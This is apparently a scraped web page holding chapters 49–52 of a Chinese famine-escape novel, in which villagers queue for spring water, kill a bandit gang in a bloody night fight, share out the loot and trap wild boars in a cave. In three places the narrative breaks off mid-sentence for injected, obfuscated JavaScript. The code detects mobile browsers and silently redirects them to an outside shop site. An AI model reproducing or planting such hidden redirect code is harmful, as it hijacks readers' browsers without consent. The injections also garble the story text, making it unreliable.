队伍里**的走了,大家伙继续坐在大石头上排队等打水。 赵宁宁和周剑打好水,周剑让小外甥女站在原地看着木桶,自己先提回去一桶,这样来回几趟,最后只剩下半桶水的时候,赵宁宁提着跟他一起往回走。 两人打完水,继续去排队。 赵宁宁也不想大晚上熬夜不睡觉在这打水,她回空间接水不香吗!但是跟着队伍走,只能随大众,不然别人家看你一直不打水却有水用,定会起疑心的。 好在晚上没有白天那么热,叹了口长长的气,赵宁宁认命地坐在石头上,继续排队。 一直到泉眼处的水流速极为缓慢的时候,排队打水的队伍才慢下来。 赵宁宁找了块空地,继续跟小舅舅玩摆石头的游戏。 周剑从石头堆里捡出来了十来个带着白边的漂亮石头当彩头,两人争这个彩头,玩得满头大汗都浑然不知。 宁妈过来找赵宁宁时,看到的便是这幅场景。 天色擦亮的时候宁妈就醒了,她一起来,就来找女儿了。 带着两个孩子往回走,宁妈用袖子给赵宁宁擦汗,“怎么晚上也这么热?” “自打天上九个太阳之后,哪天不都这么热?”赵宁宁自己也用袖口擦擦,脸上的汗擦干净,没走几步,额间汗湿的发丝便被清晨夹着一丝闷热的空气直接给吹干了。 到自家马车旁,两个孩子各回各“家”,宁妈准备做饭。 周家的马车就停在一边,宁妈不敢从空间里拿味道大的东西出来吃。 只能老老实实地从粗粮袋子里舀出一碗糙米放锅里煮。 何氏在一边看得眼都瞪大了。 逃荒大半个月,他们还能一口气拿出来这么多粮食……不行,得找机会跟兰香说说,这样太打眼了,让她小心着点。 何氏一点都没怀疑女儿家粮食会不够吃,因为他们一家不但自己吃,还时不时拿饼子馒头出来给自家。 也不知他们哪来的空当蒸的馒头,吃起来绵软绵软的,跟在柴火锅里蒸出来的差不多。 煮好早上的粥,宁妈回到车厢,里面宁爸和赵启还在睡。 最近赶路他们俩驾车多,今天好不容易不赶路,宁妈任由他们睡去,粥煮好后给他们俩留了一碗。 中间,赵宁宁去给他们换了一个**。 一直睡到辰时正,宁爸摸着一头汗水醒过来。 外面还是那样热。 赵启热得睡不着,坐起来整个人都热得红红的。 见他们睡醒,赵宁宁从空间里把粥端出来,口干舌燥的宁爸喝了两口,只觉得神清气爽。 没见着媳妇,宁爸四处看看,问赵宁宁:“你妈呢?” “她去排队打水了。”赵宁宁用蒲扇给自己扇风,头上的汗滴不住往下掉。 宁爸看得心疼,三两口把粥喝掉,从赵宁宁手里拿过扇子,呼扇乎扇给自己和赵宁宁扇。 扇了几下,两人并没有更凉快,宁爸让赵宁宁等一会,他去喊宁妈回来,等宁妈回来,让宁宁进空间去凉快去。 赵宁宁点头。 不一会,宁妈回来,不但她回来,宁爸也提着水桶跟着回来了。 “怎么都回来了?”赵宁宁好奇问。 宁爸回答:“有个人接水中暑晕了,里正把出水的地方用石头拦着,上面盖了个大木盆,说是让水蓄一下,等凉快了大家伙再去打。” 不这样不行,中午这段时间太热了。 既然回来,赵宁宁把车厢门掩上,从空间里拿冰镇过的凉水给家里人泡毛巾擦脸用。 中午大家伙都没吃饭,一边是因为没粮食,一边是因为天气太热,没有胃口。 一家几口人分别坐在各处,挨都不挨着。 赵宁宁看见牲畜自己找了个凹下去的土窝窝里面窝着,把手探进去,好像土要比地表要凉快一些。 脑子一转,赵宁宁回去说:“山洞应该比外头凉快,爸,你们上山的时候有没有看到山洞?” “山洞?”宁爸回想,继而摇头道:“没有看到……” “里正家的人不是说看到有洞窟吗?”赵启说:“可以问问他们。” 宁爸还真想去问,在山洞里闷一点也比这强,在这里简直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229774|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟烧烤上的肉串一样,翻来覆去被烧烤。 等天气又凉快一些,宁爸去找里正问路。 想着要是近的话说动里正带人过去,等到了打水的时候,村里人再一起结伴去水源地。 高兴而去,败兴归来。 宁爸垂着头,说:“里正说,那个地方在山的背面,咱们过去骑马都要半个时辰。” 更不用说还拖着半侧。 “那算了,一个小时,来回两个小时为了打点水,真是不值当!”周兰香第一个否决。 “我也这样觉得。” 最后,宁宁一家只能暂时放弃。 赵宁宁从空间里多拿出一些冰块摆在车里,车里虽然也热,但比外面好一些。 晚上七点,天还亮着,宁妈去煮晚饭——一把粗粮面做成的糊糊。 何氏看不下去,过来塞给宁妈一碗菜干,让宁妈加到锅里,再在锅里加点盐。 她苦口婆心地劝道:“天这么热,不吃点盐不行!” 宁妈也不辩解,按照她说的煮了一锅咸菜干糊糊。 一家四口没滋拉味地喝下,宁爸咂吧咂吧嘴,总感觉肚子好像吃东西了,又好像没吃。 宁妈塞过来一个香辣口味的梅干菜饼子,宁爸咬下去,辣得他嘴一痛,他这才觉得——这就对了嘛!就是这个味! 偷偷摸摸地吃下饼子,那边里正招呼大家伙去排队取水,何氏让周剑过来喊人。 这次赵启和宁爸过去,让宁妈和宁宁在车上休息。 又过两小时,天色才黑下去,夜间比白天要凉快得多,赵宁宁自告奋勇守着车门,让宁妈放心在车厢里睡觉。 宁妈睡下。 赵宁宁坐在车头上捣鼓手里的稻草。 何氏都能用稻草编帽子,她想着编一个能挡在手上挡太阳的东西。 最近赶车,手伸出去拉缰绳晒得要比胳膊黑了两个度。 编来编去,赵宁宁手里的稻草成了一团。 她没有气馁,放下这团稻草,抓起一把新的重新研究。 正研究得出神,旁边的骡子哼哼唧唧叫,赵宁宁抬头看过去,两个牲畜不安地在原地走来走去的。 ——怎么回事? 电光火石之间,赵宁宁警惕地看着车厢外,一边往车厢里后退。 退到车厢里她也不敢回头,用手推推宁妈的小腿,赵宁宁喊:“娘,你睡好没?” “宁宁?”宁妈起来,好端端的宁宁在自家车厢里喊自己娘干什么? “外面。”赵宁宁用微不可闻的声音说道:“骡子不对劲。” 她话音刚落,大刀就从宁妈手里出现,赵宁宁真佩服她妈的反应力。 把**从空间里拿出来,赵宁宁她们两个紧紧盯着车厢外。 微风拂过干枯的树叶,低矮的灌木丛在月光下黑影婆娑。 “不对劲……那里面有人!”赵宁宁眼神极好,所以能看出来影子的不同,人蹲下的影子,要比灌木丛高! “多远?” “十来米。” “你敢跑吗?” “我去喊人。” 赵宁宁说完,把****鞘里,收回空间。 “我倒数,你假装若无其事地跑。” 宁妈摸一把赵宁宁的头。 “三、 二、 一!” “娘!我去看看爹他们怎么还不回来!”赵宁宁一嗓子嚎完,整个人蹿出车厢。 宁妈担心旁边车厢的何氏,没有退回自家车厢,而是站在车头看宁宁往里正那边跑。 一边用余光扫着周围的情况。 赵宁宁鼓着劲儿一口气跑到里正家马车旁,喘着粗气说:“里正爷爷!有人!有贼人!” 里正一惊。 草丛里。 原先准备等这群人睡觉再突袭的人,看到一个小姑娘跑远,里面的豹子正想起身去抓人,他旁边的虎子按住他。 “大哥,咱不去抓她吗?万一她看见咱们去通风报信呢!”豹子说着,又要从地上起来。 虎子一把把他拉下来坐在地上,“你急什么!那丫头才多大,天这么黑她能看清什么?” 豹子只能坐下,谁让他排行老二呢! 蹲着蹲着,豹子看到这个队伍里的汉子**起来,脸色一绿,“不对劲啊大哥!他们**起来要干什么?!” “等不及了,走!现在开打!” 第50章 ** 虎子往手上呸呸两下,操起地上的大刀从灌木丛起身,一瞬间,他身后的人纷纷举起火把。 里正看到队伍边缘的地方亮起星星火点,心头一震。 这次……好似来者不善啊! 火把越亮越多,怎么看人数都比自己这边多。 里正回头环顾了一圈身后的同村人,只见他们脸色凝重,有几个紧咬着牙。 “他们人太多了。”里正对村长说,“我去跟他们谈一谈。” “谈什么?”村长说:“他们想要水,想要粮,想要牲畜想要马车,我们能都给他们?” “那只能打了。” 里正带着汉子往队伍边缘去。 趁乱,赵宁宁找到宁爸他们,喊着他们往自家马车那边去。 宁爸担心宁妈,手里的水桶提也不是丢也不是,着急忙慌地往边上跑。 里正走到边上,对方还没动手,只警惕地看向这边。里正手里空空,近近地朝着领头的人拱手道: “诸位,大晚上的来我们这边有何指教?” 听到这天真的问话,豹子嗤笑一声,说:“指教?哼,我们缺水又缺粮,你们把粮食和水交出来,我们便饶你们一命。” 里正追问:“不知你们想要?” “你们所有的粮食。”虎子冷冷道:“你们在这里发现水源了吧,把水也一并交出来。” 里正脸色一黑,这群人根本就没想着好好谈一下。 只能……迎战了吗? 见对面迟迟没有回应,豹子不耐道:“废什么话,把你们粮食都交出来!” 磨叽一下,见对方还不爽快地求饶答应,豹子黑着脸:“真给你们脸了!” 他把大刀往身上一扛,头一歪,“兄弟们,打!” 对面动手,王李村的汉子们自然不甘示弱,提着上两次搜刮来的柴刀,两拨人一边高喊着一边拼杀。 里正被其中一个汉子给拉到后边,汉子匆匆说了句让他站着,提着柴刀又往前冲。 借着火把的光,里正看到那汉子手里的柴刀边缘锃亮锃亮的……是了,这是汉子这两天趁着等打水的功夫,找来的大石头,坐着等水的时候打磨出来的。 再往前看,冲上前的汉子们脸上都带着视死如归。 现在逃荒,水源和粮食跟命一样至关重要,是他狭隘了,眼下的情况根本不适合退让,也不能退让! 里正看到车头上站着的周兰香,她手里提着大刀,死死盯着胶着的战场。 看到旁边架子车前头,握着锄头的妇人守在自家车前。 远处,周兰香的家人往这边跑,他们身后,跟着扛着农具的村民。 就连抠门怕死的席老头和钱婆子都在队伍里。 王李村无论男女老少都站出来了,他又何所惧!? 里正站定。 赵宁宁和赵启一回来,宁妈宁爸二话不说,提着大刀加入进战场去。 尚家,刘大成见势不妙,让自己媳妇守着夫人和少爷,自个提着大刀冲到前面来。 一些胆大的妇人,平日里杀鸡杀鸭,壮着胆也跟在自家男人后面往前冲。 对方人多,一开始占据上风,随着这几人的加入,战局稍稍滞涩,等后面王李村的村民加入之后,两边打斗得不相上下。 村长拿着大刀直接绕道到后面,准备伺机“擒贼先擒王”。 只是两边势均力敌,领头的那人一直被人包围着,没法找到合适的机会下手。 争斗之中,有几个王李村的汉子被对方的刀劈中,血顿时哗啦一下流出来,汉子痛苦地捂着胳膊倒地。 里正心急无比,左右环顾几下,看到赵宁宁家车厢上绑的有铁锨,又看到赵宁宁站在车顶上,急急地问:“五丫,你家铁锨借给我使一下!” 赵宁宁正盯着战场,闻言,她把目光挪回,看着里正鬓边花白的头发,于心不忍道:“里正爷爷,你得在后方稳定军心呢,可不能上前头去。” 里正在这里起到一个指挥群众的作用,他在,还能喊得动村里人,要他出了什么事,村里就只剩村长能服众了。 这会也不知道村长去哪里了。 听着五丫的话里没有给自己铁锨的意思,里正急了:“稳定什么稳定,铁锨给我使使,能拍死一个算一个!” 赵宁宁从车厢顶上小心下来,让里正附耳过来。 “里正爷爷,我刚才站在车顶上看了,对方站在坡地下方,咱们后面有这么多石头,我们可以……” 里正原本满脸焦急,听到赵宁宁的法子之后,转为喜色,等赵宁宁说完,他三并两步地往队伍里跑。 不一会,里正媳妇支使起所有人,不管老的少的,全都去搬溪流旁边的石头。 众人站成一排,接力将石头运到前面。 最前方,几家有马车的人家的车被借调过来,排成一横排,里正喊回几个上次后面丢火球准头好的汉子,站到车厢上方。 他们准备好之后,里正朝着胶着的战场大喊:“王李村的!往后退!” 得到指令之后,王李村的人稍稍往后退几步,下一瞬,石头像雨一样打在对面贼人的身上。 贼人吃痛,手中动作一停,捂着头捂着脸哎呦哎呦叫个不停。 站在前面的汉子豪迈地叉着腰嘲笑对方。 那群贼人恼羞成怒,用手臂挡着往前走。 “该死!真该死!我要把你们全杀了!”豹子捂着被打中流血的头,一双眼紧紧盯着那群村民。 忽然,他看到队伍后面还有一个男的站在那里,豹子握紧手里的大刀——那应该就是他们的村长了!**! 他悄悄绕道到后面。 里正正在发愁,虽说扔石头有效果,但是扔石头的汉子太少了!只能稍稍阻挡一下那群人。 或许是看出里正的想法,席二顺的媳妇丢下手里的耙子,走到前面颤颤地说:“里、里正大人!” “我……我看车顶上面还有位置,我去扔石头吧!”她咽下一口因紧张而分泌过度的唾沫,解释道:“我小时候丢石头打水漂准头还不错。” 听到有妇人还愿意上去丢石头,里正眼一亮,让出位置,“快!快请!” 想到可能有其他小媳妇会丢石头,却因怕被说闲话而不敢上前,里正大喊:“还有谁敢?前面是你们的爹、是你们的丈夫,是你们的儿子…… 扔石头准头不错的,都上来!只要咱们拧成一股绳,咱们村就能保住咱们的粮食!咱们的水!” 一想到水和粮食,妇人们全站起来了,有人说:“怕啥!五丫娘还敢拿着刀在前面杀贼人呢!” “就是!咱去丢个石头怎么了,谁敢说闲话,咱里正第一个把他脑袋拧下来!是不是啊里正!” 里正点头,“谁敢说闲话,就是跟咱们村子过不去!” 有他这句话,几个妇人直接搭把手互相拉着爬上车顶,有他们加入,投入战场的石头密集如夏日雷霆暴雨一般。 纷纷砸向对方。 二顺媳妇上去,砸了两个没砸中,慌乱之下她又丢几个上前,还是没砸中。 急得她脑门子上出了一层汗,旁边的小媳妇看到,拉着她的手往里头放了一块大小适中的石头。 “小枝,你别急,想想你之前咋丢的,现在就咋丢。” 罗小枝握紧石头,想着小时候和村里小孩一起玩场景……瞄准,手臂抡圆,往外一丢! 石头呈弧线形,砸向战场。 石头不偏不倚,刚好砸向她家男人对面的贼人眼眶上,贼人吃痛,一手捂着眼,席二顺拿着大刀趁机劈下去。 鲜血随刀飞溅,对方的头轱辘一下滚落在地上,那贼人身形一晃,随之向后倒去。 两边离得近近的,罗小枝似乎都能闻到血腥味。 太可怕了!她整个人抖了一下,但很快,她弯下腰用双手抓起地上的石头,抡圆胳膊,一个接一个往前面抛。 ——能砸中一个算一个! 里正站在车前,聚精会神地看着前方。 王李村的汉子们因着后方有人相助,士气大振,手下动作不停,誓要在这里为家人拼出一条活路! 在所有人都没注意的角落,一个黑影悄悄潜进王李村的车队。 耳边听着各家弟兄们惨叫的声音,豹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229775|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子眼底尽是恨意。 ——这群平头老百姓,凭什么跟他们斗?! 本来看见对方恭敬地过来,豹子还想着今天能兵不见刃的白得一批粮食和水。 那想到那批贱民二话不说开始动手! 被石头砸到的地方还有些痛,豹子咽下一口唾沫,他趴在车底,看清前面那个站在车旁边的老头的脸,这人正是带头过来找他们说话的那个。 ——是他们村长没错了! 豹子狞笑一声,提着刀慢慢往前面爬,伺机行动。 车头。 ——车下面有人! 赵宁宁五感很敏感,有人靠近过来的磁场跟没人不一样。 察觉到不对,原本站在车头的赵宁宁直接回到车厢里关好门,闪身回空间,靠着卡视角,赵宁宁一看——果然有人! 一个提着刀的男人鬼鬼祟祟地躲在车底下。 她家车厢前面是里正,这个男人是……冲着里正去的?! 赵宁宁不敢耽搁,想了一下,从车厢出去,顺着车门爬到车顶上。 车顶,赵启看到妹妹上来,关切地问:“你怎么上来了?” 赵宁宁小声说:“车底下有人,冲着里正去的。” 赵启瞪大眼。 “咱们盯好了,等他冲出来的时候,咱们把柴火推下去。”赵宁宁已经想好解决的办法,说起话来十分冷静。 赵启点头,“行,我听你的。” 赵宁宁盯着前面,赵启悄悄把自家架子车后面带着的一堆柴火上的绳子给挑断,只留下一两根稍微固定着,随时可以砍断让柴火倾倒出去。 出发的时候他们家绑了一车柴火,这段时间休息的时候他们跟着其他村民也会去附近捡柴火,用着捡着,他们家平日里做饭又少,车后面的柴火还满着。 车底下,豹子在等,那个村长一直在和各个车顶上的人说话,身子是侧着的。 他要一击致命,他要等一个村长背过头的机会! 终于,前面有这群贱民的惨叫声,这个老头急着往前走了两步,豹子阴狠地从地上往前爬,提着刀起—— “哗啦——” 刚要起身的豹子被一堆柴火来个盖浇面。 柴火下去的分量可不够压得这贼人起不了身,赵宁宁纵身一跳,稳稳落在柴火堆上面,隔着柴火在上面蹦跶。 见状,赵启跟着跳下去,柴火有些扎脚,但想到下面的贼人更扎得狠,赵启在上面跺脚。 赵宁宁一边踩一边大喊:“里正!这里有贼人!” 他们动静很大,一下子就将周围人的注意力吸引过来,站在队尾的两个汉子听到,快速格挡开两个贼人之后快步跑过来。 贼人还想追,从四面八方涌来其他汉子拦住。 这两个汉子把站在柴火堆上的赵宁宁和赵启给扯到一边,“危险!” 头顶重量一轻,豹子正想从柴火底下爬出来,他要这群不识好歹的贱民死! 然而王李村的汉子不给他报复的机会,伸手拨拉两下柴火,拉着人的衣服领子就是往外拖。 柴火底下的豹子被尖锐的枝条扎得满头流血,被人硬生生拖出来,还没来得及反应,下一秒脖子一凉。 他只觉得整个人天旋地转,紧接着便意识到——自己好像**。 “豹子——” 一声叫喊声嘶力竭的喊叫声划破夜空。 那边的动静刚开始,站在队伍最末的虎子便注意到了,他原本想着是手下去的,没想到去的人竟是他亲弟弟! 等他看清楚是谁的时候,一切都来不及了!他亲弟弟就这样被害了! 握紧手里的大刀,虎子大喊:“杀!都给老子杀了!” 说完,他紧咬牙关,目眦欲裂地盯着车队。 火把的光明明灭灭,他看不清弟弟的头滚去了哪里。 只看到那两个放柴火下来的小孩正在被人摸头夸奖! ——是他们!是他们害了自己的弟弟!我要报仇! 虎子提着刀上前,呼哧喘着粗气刚走两步,一阵风从一边呼来,虎子下意识地一躲,一把大刀擦着他的头发划过。 “有人!” 第51章 口粮来了 竟然有人摸到队伍后面偷袭! 虎子大喊一声后跳到一旁,黑暗里,一个瘦小的老头站在那,看不清表情。 “可惜了。”村长啧啧,很快他手腕一翻,下一刀接踵而至,虎子应对不及,只能连环后退闪躲,两人离打斗的人群越来越远。 被一个石块绊倒后,虎子一个踉跄,猛地后退几步,顿时拉开了两人的距离。 趁这个时间,他提起刀硬抗下一刀攻击。 村长的力道很大,对面的汉子不知道这个瘦弱老头哪来的这么大力气,虎口一震,他心道不好,鼓起全身的力气将刀顶过去,咬牙往队伍里跑。 村长哪会给他这个机会,提着刀跟着跑了两步,轻易便追上,一个大刀劈下,对方不得不停下脚步应对。 十几招过下来,对方节节败退,两人打得不可开交,村长拧着眉毛,这人真不好杀,得找个破绽才行。 想了想,他故作力气不支,提着刀后退几步,扶着腿喘气。 虎子眼睛一亮,举起大刀劈下去,说时迟那时快,村长弓着腰一闪,伸手将大刀横着划过去,顿时,对面的人腹部被划开,里面的肠子内脏哗啦掉了一地。 喷出来的血溅了村长一身。 村长嫌弃地看着自己的手,看了看前面还在打,他也不绕回去,直接从后方往前杀。 一边打一边喊:“你们大当家和二当家都**!” 一开始这群贼人还不信,直到他们里面的人看到豹子倒在车前。 往回看,想找大当家的去问问要不要现在杀过去报仇,结果看到队伍后面空荡荡的。 大当家倒在血泊里,进气多出气少,显然也是不行了。 顿时,这群人手中动作开始放缓,王李村那边士气再振,里正大喊:“杀了他们!” 逃荒都这么久了,现在可不是讲究心慈手软的时候。 想到后面的家人,前面的村民举起手里的大刀,嘶哑着喉咙大喊:“杀!杀啊——” 原本对方仗着全是汉子,手里拿的全是大刀,人数又比王李村这边人多。 现在王李村扔不动石头的人在后方运送石头,准头好的在前面丢石头,再加上前头的人士气空前高涨。 随着时间流逝,局势逐渐逆转。 最终,王李村的人从劣势扭转为优势,赢得这场战斗。 对面剩了几个人,见势不妙还想跑,这次王李村的汉子们没放过他们,乘胜追击,花了半个时辰,将对面全都拿下。 村长留了两个活口拖回来,让里正问话。 现在已不是前几日那样还留着底线,里正问完话,汉子把剩下的几个贼人拖到林子后边,手起刀落。 这下,队伍总算安全。 打扫战场打扫时候,王李村的人在灌木丛里捡到以包包提前藏好的银子,包裹里还有一些粮食。 粮食虽不多,可这银子多啊!要是有这些银子,去县城就能买粮食了! 打扫好战场,天也亮得差不多了。 王李村这边,**五个汉子。 里正按照之前的规矩,一家分一些银子,这次收缴上来的粮食,分一半给他们。 那些人心里苦,捧着银子也不住地哭泣。他们宁愿不要银子!也不想自家的孩子在这里丢了性命。 除了他们,队伍里这次出力的人多少都分得了一些钱财。 就连在后面摸鱼运石头的钱婆子都拿了两百文。 他们全家老小上阵,就连只有六岁的赵思夏也被她喊过来,家里只剩一个怀孕的曹柔安看着东西。 一人两百文,十人两千文!,折算下来,一下子拿了二银子! 把钱都收好之后,钱婆子眼**看着里正给其他人家分银子。 站在车顶上丢石头的,丢的好与坏里正都看在眼里。 准头不太行的,里正也没说什么,能顶着闲言碎语上车顶的妇人,和能顶着闲话到前头去并肩战斗的妇人,都跟汉子没什么区别。 一人一两银子打底,到准头好的几个人,里正给二两、三两都有。 轮到二顺媳妇的时候,里正迟疑了一瞬,最后还是按功奖赏。 上次她冒着危险喊人,好些人不知道,里正明面上奖励之后私下又把这份给补上的。 这次这么多人明眼瞧着,里正不好偏帮二顺媳妇,不然席老头看见会有意见。 奖完他们,里正开始给冲在最前头的人发钱。 一人五两银子打底,越悍勇的给得越多。 钱婆子看到五个沉甸甸的大银子落在那些人手里,眼红得都有些发黑了。 那些冲在前头的人一个就能得五两银子呢! 钱婆子可是看到,有的妇人冲在前头也没干什么,不过是看见有贼人到自家汉子后头喊两嗓子。 就这就能得五两银子,钱婆子觉得自己也能! 打底的平分完,里正依次把人喊到前头,席二顺杀了五个人,又拿了十两回去。 留来留去,最后场上剩下三个汉子和一个妇人。 钱婆子定睛一瞧,这不是她之前那个便宜二儿媳妇周兰香吗?! 周兰香也没想到里正这样大张旗鼓地分钱,只能硬着头皮等结束。 等来等去,宁爸都被喊走了,场上就剩自己。 “周兰香,一己之力杀了十三个贼人。” 里正一心多用,都替他们留意着呢,不然也不会差点给豹子可乘之机。 “十三个!” “赵老二媳妇可……真牛!” “这还是妇人吗?” “妇人咋这样粗俗,跟一群男人混成一堆……” 刚夸没几句,就有人说难听话,里正一眼扫过去,是一个退缩在后头的村民。 他也不骂人,直接过去把人从队伍里抓出来。 村长不知道里正要干啥,见里正去抓人,跟着帮忙搭把手。 “麻老四!你要是嫌命长,你大可以自己一个人去逃荒。”里正一把把他甩子在众目睽睽之下。 “道歉!” “给村里的妇人道歉!” “要不是她们子在后头丢石头,要不是她们也拿刀在前头,你能安然站在这里吗!” 这么多人看着,这不是明晃晃下自己面子,给那群妇人张脸吗!?麻老四脸上一阵红一阵青。 村长阴恻恻地说:“你要是不想道歉也成,咱们王李村不留这种吃水还骂挖井人的丧良心货!” “你收拾收拾,滚出队伍。”村长提着他的衣领子就是往边上一扔。 “村长啊……”一个老婆子从队里冲出来,哭着作揖,“里正大人!我跟你们道歉,千万不要把我们家老四撵出去啊!” 王李村这么多人一起走都能遇见这么多次贼人壮着胆来抢来偷,不敢想他们两个人单独上路会遇见什么。 现在让他们自个儿去逃荒,跟直接要他们的命有什么区别! 看到老娘,麻老四脸上终于有些动容,他垂着头,“里正,村长,对不住。” “不是跟我们说!”村长踹他。 麻老四掉了个头,对着一双双村里人的眼睛,低着头,说:“村里各位妇人,对不住。” 见他态度还行,里正摆摆手,王修奉前去把麻老四扶起来,拉到一边去。 里正接着给周兰香发银子。 光周兰香一人,就拿了三十两! 钱婆子两个鼻孔喘着粗气,一双眼瞪大了看着那堆银子。 一双手都捧不住! 要是……要是赵老二他们还没离家该多好!这些银子不都全是他们老赵家的了吗! 钱婆子踌躇,想到老二他们一家的态度,心里又有些懊恼。 算了!反正又不是粮食,要是三十袋子粮食,她再眼红还差不多。 钱婆子一边安慰自己,一边往回走。 赵宁宁因为发现贼人和急中生智,被里正单独奖了五十两银子,一跃成为家里奖金最高的人。 抱着银子,赵宁宁脸都快笑僵了,这还是她靠自己的本事第一次赚到这么多。 把银子给宁妈,宁妈都不要,赵宁宁只能把这堆抱回客厅摆在电视机柜前头。 她还很有耐心地摞成一摞。 睡在客厅,赵宁宁一翻身就能看到。 巳时,天又开始热起来。 这边血腥味浓重,里正带着人往山上走了一些,避开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229776|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这块地方。 但没有离水源太远,方便村民们去等水。 等着等着,盯着村民排队的王修奉回来,告诉他爹:断水了。 里正大惊,忙不迭地去看泉眼。 原本一个时辰多少能出几桶水的泉眼,此刻一丝冒水的意思都没有。 真断水了! 里正心里有些失落。 在这干旱的日子里,他们好不容易找到水源、好不容易决心在这儿落脚几日。 竟然又没水了。 “先等等看吧。”里正干巴巴地说:“万一只是暂时没水呢?” 只是队伍不能再待在这里耗着,一是人太多,在山底下一瞧便能瞧见不对。 那群偷袭队伍的贼人,就是看到山上有动静,看见山上烧饭冒烟觉得不对,才盯上这里的。 再有就是天太热,他们得找个凉快地方待着。 “你们发现的那个洞窟,有多大?你仔细说说。”里正边走边问儿子,等走到队伍,他心里差不多有了估量。 他们挪到山后去! 这会不是好时机,等了一个中午,泉眼还是没有冒水的意思,下午,里正宣布申时正开始挪队伍。 泉眼的话,每天派五个人过来盯着,有水再回去通知村里人。 不然一群人干熬着也不是个事儿。 听说洞窟要比外头凉快,村民无有不应,下午收拾收拾东西,申时里正见那头的泉眼还是没水,当机立断便带着人往山后走。 从南坡挪到北坡,不说别的,立马就凉快一些。 等走到洞窟,还没进去就能感到里面冒出的丝丝凉意,被高温折磨快一个月的村民大呼爽哉。 洞窟看上去约莫十几丈高,宽约八丈,里面黑黝黝的,深不见底。 当时王修奉看到这里没有水源,加上天黑,他没进去看便回去了。 今天要住在这里,他们要先进去看看里面有没有猛兽。 举着火把进去,王修奉便闻到一股臭味。 是野兽粪便的味道! 王修奉脚步一顿,退着回去找人商量。 最后由村长带头,领着十几个汉子举着火把和大刀进去。 宁爸也跟着在里头,他想着待会打完野兽能早点占个好地儿,好让老婆孩子好好休息一下。 洞窟内有一个凹下去的大坑,里面是一些沙子。 火把照过去,大坑里影影绰绰,等看清坑底的野兽,宁爸脸色一喜。 ——野猪!是野猪! 这下他放心了。野猪都能活在这里,那说明这个洞窟里杀伤力最大的就是这些猪了。 只不过这群野猪的数量有些多,粗一看起码有七八只,且个个都是大猪,没有小猪仔。 三只四只还好说,村里人多怎么都能拦一下,七八只万一都冲出来,很可能会顶伤队伍里来不及跑的人。 ——不太好打,只能智取。 宁爸摩挲着自己的下巴,思索片刻,他说:“王修奉,咱们挖一个陷阱吧?” 洞窟里的坑很多,借着地势,他们可以挖一个深一点的坑,底下埋点带尖刺的木头,这样猪跑出来掉进陷阱,他们也好一只一只处理。 王修奉略一想便同意,留下两个汉子盯着这群野猪的动静,他带人出去,求增援。 村里能动弹的汉子都出来挖坑,妇人们在一边从坑底拉土运土。 老人小孩去自家柴火里翻找粗一点的柴火,拿出来两头削尖,送到陷阱那里。 人多力量大,一个时辰,陷阱挖好,王修奉带人把其他出口堵起来。 队伍里,有个瘦小的村民自告奋勇要去引野猪过来,王修奉一看,这是赵老二家的孩子!没记错的话,赵启今年才十三岁吧?! 问过赵老二他也同意之后,王修奉让他拿好火把。 赵启拿了两个火把,都不用指路,直接跑到野猪坑,丢下去一个火把。 他准头好,丢下去的火把正正好砸在那群野猪身上。 本来因着天热,在洞窟里哼哼唧唧睡觉的野猪被砸醒,环顾四周,看到有光亮,野猪顿时找到怒意发泄的来源—— 它们挨个从坑底上来,直冲赵启过去! 第52章 山火 赵启不急不慌,等第一个野猪真冲上来之后,一边回头看,一边慢慢往陷阱的地方跑。 在洞窟边上的王修奉和宁爸都替他捏一把汗。 这会才上来一两只,赵启按照计划蛇皮走位,能应付得过来! 等七只野猪都冲上来的时候,赵启才迈开步子,在洞窟里借着高高的地势来回跑跳, 眼看七只野猪差不多聚在一起朝他冲的时候,赵启拔腿朝陷阱的地方跑。 跑到陷阱的地方,只见他猛地朝旁边一拐,身后追杀而来的野猪来不及刹住猪蹄,跟下饺子似的,扑通扑通往坑里掉。 只有跑在最后面那只野猪刹住了蹄,看着前面几只掉下去,它察觉到不对,哼唧着朝后退。 王修奉哪会让它逃走,坑里的野猪不用管,他喊着其他人,拿着绳子和锄头朝最后一只野猪跑去。 十几个人**一只野猪,一人一锄头都能将它打死,几人不费吹灰之力便把野猪给拿下。 等坑里被扎透的野猪没了气息之后,几人陆续下去小心避开木刺,把野猪绑紧拉上去。 洞窟外头,村民们知道里面一切顺利,各个脸上都是喜色,凌晨打斗的不安被野猪带来的喜悦冲淡。 再怎么说,这野猪算是村里一起发现的,里正多少都会给大家伙分一点肉吃的! 逃荒出来这么久,还是第一次见到这么大的野物! 野猪拉上来之后,王修奉带人深入洞窟,仔仔细细检查一番,发现洞窟除了凹坑里的猪粪有些埋汰之外,洞窟内再没有其它野兽的踪迹。 